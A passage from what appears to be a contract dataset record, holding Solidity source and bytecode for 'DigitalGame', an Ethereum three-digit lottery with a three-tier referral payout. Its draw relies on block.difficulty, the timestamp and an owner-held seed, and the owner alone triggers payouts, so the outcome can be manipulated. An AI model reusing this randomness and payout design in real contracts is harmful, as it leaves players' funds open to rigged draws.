fffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a3c5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a72315820cf11f287961ee3ed7c8f1e05731a1f5d491fb87f47ab4309f9761432c75334a264736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 6,125 |
0xe6dfef4dee6b4cda74db647eb07d78c0fbc62144
|
pragma solidity ^0.4.24;
// * Digital Game - Version 1.
// * The user selects three digits, the platform generates trusted random
// number to lottery and distributes the reward.
contract DigitalGame {
/// *** Constants
uint constant MIN_BET_MONEY = 10 finney;
uint constant MAX_BET_MONEY = 10 ether;
uint constant MIN_BET_NUMBER = 2;
uint constant MAX_STAGE = 4;
// Calculate invitation dividends based on bet amount
// - first generation reward: 3%
// - second generation reward: 2%
// - third generation reward: 1%
uint constant FIRST_GENERATION_REWARD = 3;
uint constant SECOND_GENERATION_REWARD = 2;
uint constant THIRD_GENERATION_REWARD = 1;
address public OWNER_ADDR;
address public RECOMM_ADDR;
address public SPARE_RECOMM_ADDR;
/// *** Struct
struct UserRecomm {
address addr;
}
struct StageInfo {
uint round;
bytes32 seedHash;
uint userNumber;
uint amount;
uint lastTime;
}
struct UserBet {
address addr;
uint amount;
uint[] content;
uint count;
uint createAt;
}
address[] private userRecomms;
UserBet[] private WaitAwardBets;
/// *** Mapping
mapping(uint => StageInfo) public stages;
mapping(address => address) public users;
mapping(uint => UserBet[]) public userBets;
mapping(uint => mapping(uint => mapping(address => bool))) private userBetAddrs;
/// *** Event
event eventUserBet(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint createAt
);
event eventLottery(
string eventType,
uint stage,
uint round,
uint[] lotteryContent,
uint createAt
);
event eventDividend(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint level,
address recommAddr,
uint recommReward,
uint createAt
);
event eventReward(
string eventType,
address addr,
uint amount,
uint stage,
uint round,
uint count,
uint[] content,
uint[] lotteryContent,
uint reward,
uint createAt
);
/// *** Modifier
modifier checkBetTime(uint lastTime) {
require(now <= lastTime, 'Current time is not allowed to bet');
_;
}
modifier checkRewardTime(uint lastTime) {
require(
now >= lastTime + 1 hours,
'Current time is not allowed to reward'
);
_;
}
modifier isSecretNumber(uint stage, string seed) {
require(
keccak256(abi.encodePacked(seed)) == stages[stage].seedHash,
'Encrypted numbers are illegal'
);
_;
}
modifier verifyStage(uint stage) {
require(
stage >= 1 && stage <= MAX_STAGE,
'Stage no greater than MAX_STAGE'
);
_;
}
modifier verifySeedHash(uint stage, bytes32 seedHash) {
require(
stages[stage].seedHash == seedHash && seedHash != 0,
'The hash of the stage is illegal'
);
_;
}
modifier onlyOwner() {
require(OWNER_ADDR == msg.sender, 'Permission denied');
_;
}
constructor(bytes32[4] hashes, uint lastTime) public {
for (uint i = 1; i <= MAX_STAGE; i++) {
stages[i].round = 1;
stages[i].seedHash = hashes[i-1];
stages[i].userNumber = 0;
stages[i].amount = 0;
stages[i].lastTime = lastTime;
}
OWNER_ADDR = msg.sender;
RECOMM_ADDR = msg.sender;
SPARE_RECOMM_ADDR = msg.sender;
}
function bet(
uint stage,
uint round,
uint[] content,
uint count,
address recommAddr,
bytes32 seedHash
) public
payable
verifyStage(stage)
verifySeedHash(stage, seedHash)
checkBetTime(stages[stage].lastTime) {
require(stages[stage].round == round, 'Round illegal');
require(content.length == 3, 'The bet is 3 digits');
require((
msg.value >= MIN_BET_MONEY
&& msg.value <= MAX_BET_MONEY
&& msg.value == MIN_BET_MONEY * (10 ** (stage - 1)) * count
),
'The amount of the bet is illegal'
);
require(msg.sender != recommAddr, 'The recommender cannot be himself');
if (users[msg.sender] == 0) {
if (recommAddr != RECOMM_ADDR) {
require(
users[recommAddr] != 0,
'Referrer is not legal'
);
}
users[msg.sender] = recommAddr;
}
generateUserRelation(msg.sender, 3);
require(userRecomms.length <= 3, 'User relationship error');
sendInviteDividends(stage, round, count, content);
if (!userBetAddrs[stage][stages[stage].round][msg.sender]) {
stages[stage].userNumber++;
userBetAddrs[stage][stages[stage].round][msg.sender] = true;
}
userBets[stage].push(UserBet(
msg.sender,
msg.value,
content,
count,
now
));
emit eventUserBet(
'userBet',
msg.sender,
msg.value,
stage,
round,
count,
content,
now
);
}
function generateUserRelation(
address addr,
uint generation
) private returns(bool) {
userRecomms.push(users[addr]);
if (users[addr] != RECOMM_ADDR && users[addr] != 0 && generation > 1) {
generateUserRelation(users[addr], generation - 1);
}
}
function sendInviteDividends(
uint stage,
uint round,
uint count,
uint[] content
) private {
uint[3] memory GENERATION_REWARD = [
FIRST_GENERATION_REWARD,
SECOND_GENERATION_REWARD,
THIRD_GENERATION_REWARD
];
uint recomms = 0;
for (uint j = 0; j < userRecomms.length; j++) {
recomms += msg.value * GENERATION_REWARD[j] / 100;
userRecomms[j].transfer(msg.value * GENERATION_REWARD[j] / 100);
emit eventDividend(
'dividend',
msg.sender,
msg.value,
stage,
round,
count,
content,
j,
userRecomms[j],
msg.value * GENERATION_REWARD[j] / 100,
now
);
}
stages[stage].amount += (msg.value - recomms);
delete userRecomms;
}
function distributionReward(
uint stage,
string seed,
bytes32 seedHash
) public
checkRewardTime(stages[stage].lastTime)
isSecretNumber(stage, seed)
verifyStage(stage)
onlyOwner {
if (stages[stage].userNumber >= MIN_BET_NUMBER) {
uint[] memory randoms = generateRandom(
seed,
stage,
userBets[stage].length
);
require(randoms.length == 3, 'Random number is illegal');
bool isReward = CalcWinnersAndReward(randoms, stage);
emit eventLottery(
'lottery',
stage,
stages[stage].round,
randoms,
now
);
if (isReward) {
stages[stage].amount = 0;
}
delete userBets[stage];
stages[stage].round += 1;
stages[stage].userNumber = 0;
stages[stage].seedHash = seedHash;
stages[stage].lastTime += 24 hours;
} else {
stages[stage].lastTime += 24 hours;
}
}
function CalcWinnersAndReward(
uint[] randoms,
uint stage
) private onlyOwner returns(bool) {
uint counts = 0;
for (uint i = 0; i < userBets[stage].length; i++) {
if (randoms[0] == userBets[stage][i].content[0]
&& randoms[1] == userBets[stage][i].content[1]
&& randoms[2] == userBets[stage][i].content[2]) {
counts = counts + userBets[stage][i].count;
WaitAwardBets.push(UserBet(
userBets[stage][i].addr,
userBets[stage][i].amount,
userBets[stage][i].content,
userBets[stage][i].count,
userBets[stage][i].createAt
));
}
}
if (WaitAwardBets.length == 0) {
for (uint j = 0; j < userBets[stage].length; j++) {
if ((randoms[0] == userBets[stage][j].content[0]
&& randoms[1] == userBets[stage][j].content[1])
|| (randoms[1] == userBets[stage][j].content[1]
&& randoms[2] == userBets[stage][j].content[2])
|| (randoms[0] == userBets[stage][j].content[0]
&& randoms[2] == userBets[stage][j].content[2])) {
counts += userBets[stage][j].count;
WaitAwardBets.push(UserBet(
userBets[stage][j].addr,
userBets[stage][j].amount,
userBets[stage][j].content,
userBets[stage][j].count,
userBets[stage][j].createAt
));
}
}
}
if (WaitAwardBets.length == 0) {
for (uint k = 0; k < userBets[stage].length; k++) {
if (randoms[0] == userBets[stage][k].content[0]
|| randoms[1] == userBets[stage][k].content[1]
|| randoms[2] == userBets[stage][k].content[2]) {
counts += userBets[stage][k].count;
WaitAwardBets.push(UserBet(
userBets[stage][k].addr,
userBets[stage][k].amount,
userBets[stage][k].content,
userBets[stage][k].count,
userBets[stage][k].createAt
));
}
}
}
uint extractReward = stages[stage].amount / 100;
OWNER_ADDR.transfer(extractReward);
RECOMM_ADDR.transfer(extractReward);
SPARE_RECOMM_ADDR.transfer(extractReward);
if (WaitAwardBets.length != 0) {
issueReward(stage, extractReward, randoms, counts);
delete WaitAwardBets;
return true;
}
stages[stage].amount = stages[stage].amount - (extractReward * 3);
return false;
}
function issueReward(
uint stage,
uint extractReward,
uint[] randoms,
uint counts
) private onlyOwner {
uint userAward = stages[stage].amount - (extractReward * 3);
for (uint m = 0; m < WaitAwardBets.length; m++) {
uint reward = userAward * WaitAwardBets[m].count / counts;
WaitAwardBets[m].addr.transfer(reward);
emit eventReward(
'reward',
WaitAwardBets[m].addr,
WaitAwardBets[m].amount,
stage,
stages[stage].round,
WaitAwardBets[m].count,
WaitAwardBets[m].content,
randoms,
reward,
now
);
}
}
function generateRandom(
string seed,
uint stage,
uint betNum
) private view onlyOwner
isSecretNumber(stage, seed) returns(uint[]) {
uint[] memory randoms = new uint[](3);
for (uint i = 0; i < 3; i++) {
randoms[i] = uint(
keccak256(abi.encodePacked(betNum, block.difficulty, seed, now, i))
) % 9 + 1;
}
return randoms;
}
function setDefaultRecommAddr(address _RECOMM_ADDR) public onlyOwner {
RECOMM_ADDR = _RECOMM_ADDR;
}
function setSpareRecommAddr(address _SPARE_RECOMM_ADDR) public onlyOwner {
SPARE_RECOMM_ADDR = _SPARE_RECOMM_ADDR;
}
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806329a03d8d146100a957806336af81511461012a578063632e1dfe1461016d5780636f800277146101c4578063766d30aa1461021b578063845ddcb21461025e578063a87430ba146102c3578063bb9f227d14610346578063bbcfab641461039d578063c242afaf14610429575b600080fd5b3480156100b557600080fd5b5061012860048036038101908080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080356000191690602001909291905050506104ce565b005b34801561013657600080fd5b5061016b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae3565b005b34801561017957600080fd5b50610182610beb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101d057600080fd5b506101d9610c10565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022757600080fd5b5061025c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c36565b005b34801561026a57600080fd5b5061028960048036038101908080359060200190929190505050610d3e565b6040518086815260200185600019166000191681526020018481526020018381526020018281526020019550505050505060405180910390f35b3480156102cf57600080fd5b50610304600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d74565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035257600080fd5b5061035b610da7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a957600080fd5b506103d26004803603810190808035906020019092919080359060200190929190505050610dcd565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390f35b6104cc60048036038101908080359060200190929190803590602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035600019169060200190929190505050610e39565b005b606060006005600086815260200190815260200160002060040154610e108101421015151561058b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001807f43757272656e742074696d65206973206e6f7420616c6c6f77656420746f207281526020017f657761726400000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8585600560008381526020019081526020016000206001015460001916816040516020018082805190602001908083835b6020831015156105e157805182526020820191506020810190506020830392506105bc565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310151561064a5780518252602082019150602081019050602083039250610625565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600019161415156106f0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f456e63727970746564206e756d626572732061726520696c6c6567616c00000081525060200191505060405180910390fd5b8760018110158015610703575060048111155b1515610777576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5374616765206e6f2067726561746572207468616e204d41585f53544147450081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561083b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b6002600560008b815260200190815260200160002060020154101515610ab05761087c888a600760008d8152602001908152602001600020805490506118d3565b9550600386511415156108f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f52616e646f6d206e756d62657220697320696c6c6567616c000000000000000081525060200191505060405180910390fd5b610901868a611c7b565b94507f8c9c51fc348aaa3fd9530fb608e2631bbec7d6071c699f887a5eb0c60c60566e89600560008c8152602001908152602001600020600001548842604051808060200186815260200185815260200180602001848152602001838103835260078152602001807f6c6f747465727900000000000000000000000000000000000000000000000000815250602001838103825285818151815260200191508051906020019060200280838360005b838110156109cb5780820151818401526020810190506109b0565b50505050905001965050505050505060405180910390a18415610a05576000600560008b8152602001908152602001600020600301819055505b600760008a81526020019081526020016000206000610a2491906135c2565b6001600560008b8152602001908152602001600020600001600082825401925050819055506000600560008b81526020019081526020016000206002018190555086600560008b8152602001908152602001600020600101816000191690555062015180600560008b815260200190815260200160002060040160008282540192505081905550610ad8565b62015180600560008b8152602001908152602001600020600401600082825401925050819055505b505050505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ba7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610cfa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60056020528060005260406000206000915090508060000154908060010154908060020154908060030154908060040154905085565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600760205281600052604060002081815481101515610de857fe5b9060005260206000209060050201600091509150508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060030154908060040154905084565b8560018110158015610e4c575060048111155b1515610ec0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5374616765206e6f2067726561746572207468616e204d41585f53544147450081525060200191505060405180910390fd5b86828060001916600560008481526020019081526020016000206001015460001916148015610ef757506000600102816000191614155b1515610f6b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5468652068617368206f662074686520737461676520697320696c6c6567616c81525060200191505060405180910390fd5b600560008a815260200190815260200160002060040154804211151515611020576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001807f43757272656e742074696d65206973206e6f7420616c6c6f77656420746f206281526020017f657400000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b88600560008c8152602001908152602001600020600001541415156110ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f526f756e6420696c6c6567616c0000000000000000000000000000000000000081525060200191505060405180910390fd5b60038851141515611126576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f546865206265742069732033206469676974730000000000000000000000000081525060200191505060405180910390fd5b662386f26fc1000034101580156111455750678ac7230489e800003411155b801561116157508660018b03600a0a662386f26fc10000020234145b15156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f54686520616d6f756e74206f66207468652062657420697320696c6c6567616c81525060200191505060405180910390fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561129f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f546865207265636f6d6d656e6465722063616e6e6f742062652068696d73656c81526020017f660000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114e257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515611463576000600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611462576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5265666572726572206973206e6f74206c6567616c000000000000000000000081525060200191505060405180910390fd5b5b85600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b6114ed336003612c72565b50600380805490501115151561156b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f557365722072656c6174696f6e73686970206572726f7200000000000000000081525060200191505060405180910390fd5b6115778a8a898b612ef1565b600860008b81526020019081526020016000206000600560008d815260200190815260200160002060000154815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116b957600560008b8152602001908152602001600020600201600081548092919060010191905055506001600860008c81526020019081526020016000206000600560008e815260200190815260200160002060000154815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600760008b815260200190815260200160002060a0604051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020013481526020018a8152602001898152602001428152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906117a29291906135e6565b5060608201518160030155608082015181600401555050507f6045c771c7143102866f3129ef6eaec4acb5cd24d91ab14a96a708e61f60ec5933348c8c8b8d4260405180806020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200188815260200187815260200186815260200185815260200180602001848152602001838103835260078152602001807f7573657242657400000000000000000000000000000000000000000000000000815250602001838103825285818151815260200191508051906020019060200280838360005b838110156118ad578082015181840152602081019050611892565b50505050905001995050505050505050505060405180910390a150505050505050505050565b60608060003373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b8486600560008381526020019081526020016000206001015460001916816040516020018082805190602001908083835b6020831015156119f257805182526020820191506020810190506020830392506119cd565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515611a5b5780518252602082019150602081019050602083039250611a36565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916141515611b01576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f456e63727970746564206e756d626572732061726520696c6c6567616c00000081525060200191505060405180910390fd5b6003604051908082528060200260200182016040528015611b315781602001602082028038833980820191505090505b509350600092505b6003831015611c6d576001600987448b42886040516020018086815260200185815260200184805190602001908083835b602083101515611b8f5780518252602082019150602081019050602083039250611b6a565b6001836020036101000a038019825116818451168082178552505050505050905001838152602001828152602001955050505050506040516020818303038152906040526040518082805190602001908083835b602083101515611c085780518252602082019150602081019050602083039250611be3565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060019004811515611c4257fe5b06018484815181101515611c5257fe5b90602001906020020181815250508280600101935050611b39565b839450505050509392505050565b6000806000806000803373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611d48576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5065726d697373696f6e2064656e69656400000000000000000000000000000081525060200191505060405180910390fd5b60009450600093505b6007600088815260200190815260200160002080549050841015612147576007600088815260200190815260200160002084815481101515611d8f57fe5b90600052602060002090600502016002016000815481101515611dae57fe5b9060005260206000200154886000815181101515611dc857fe5b90602001906020020151148015611e3f57506007600088815260200190815260200160002084815481101515611dfa57fe5b90600052602060002090600502016002016001815481101515611e1957fe5b9060005260206000200154886001815181101515611e3357fe5b90602001906020020151145b8015611eab57506007600088815260200190815260200160002084815481101515611e6657fe5b90600052602060002090600502016002016002815481101515611e8557fe5b9060005260206000200154886002815181101515611e9f57fe5b90602001906020020151145b1561213a576007600088815260200190815260200160002084815481101515611ed057fe5b90600052602060002090600502016003015485019450600460a060405190810160405280600760008b815260200190815260200160002087815481101515611f1457fe5b906000526020600020906005020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600760008b815260200190815260200160002087815481101515611f8157fe5b9060005260206000209060050201600101548152602001600760008b815260200190815260200160002087815481101515611fb857fe5b906000526020600020906005020160020180548060200260200160405190810160405280929190818152602001828054801561201357602002820191906000526020600020905b815481526020019060010190808311611fff575b50505050508152602001600760008b81526020019081526020016000208781548110151561203d57fe5b9060005260206000209060050201600301548152602001600760008b81526020019081526020016000208781548110151561207457fe5b9060005260206000209060050201600401548152509080600181540180825580915050906001820390600052602060002090600502016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020190805190602001906121219291906135e6565b5060608201518160030155608082015181600401555050505b8380600101945050611d51565b6000600480549050141561269357600092505b600760008881526020019081526020016000208054905083101561269257600760008881526020019081526020016000208381548110151561219857fe5b906000526020600020906005020160020160008154811015156121b757fe5b90600052602060002001548860008151811015156121d157fe5b906020019060200201511480156122485750600760008881526020019081526020016000208381548110151561220357fe5b9060005260206000209060050201600201600181548110151561222257fe5b906000526020600020015488600181518110151561223c57fe5b90602001906020020151145b8061231f5750600760008881526020019081526020016000208381548110151561226e57fe5b9060005260206000209060050201600201600181548110151561228d57fe5b90600052602060002001548860018151811015156122a757fe5b9060200190602002015114801561231e575060076000888152602001908152602001600020838154811015156122d957fe5b906000526020600020906005020160020160028154811015156122f857fe5b906000526020600020015488600281518110151561231257fe5b90602001906020020151145b5b806123f65750600760008881526020019081526020016000208381548110151561234557fe5b9060005260206000209060050201600201600081548110151561236457fe5b906000526020600020015488600081518110151561237e57fe5b906020019060200201511480156123f5575060076000888152602001908152602001600020838154811015156123b057fe5b906000526020600020906005020160020160028154811015156123cf57f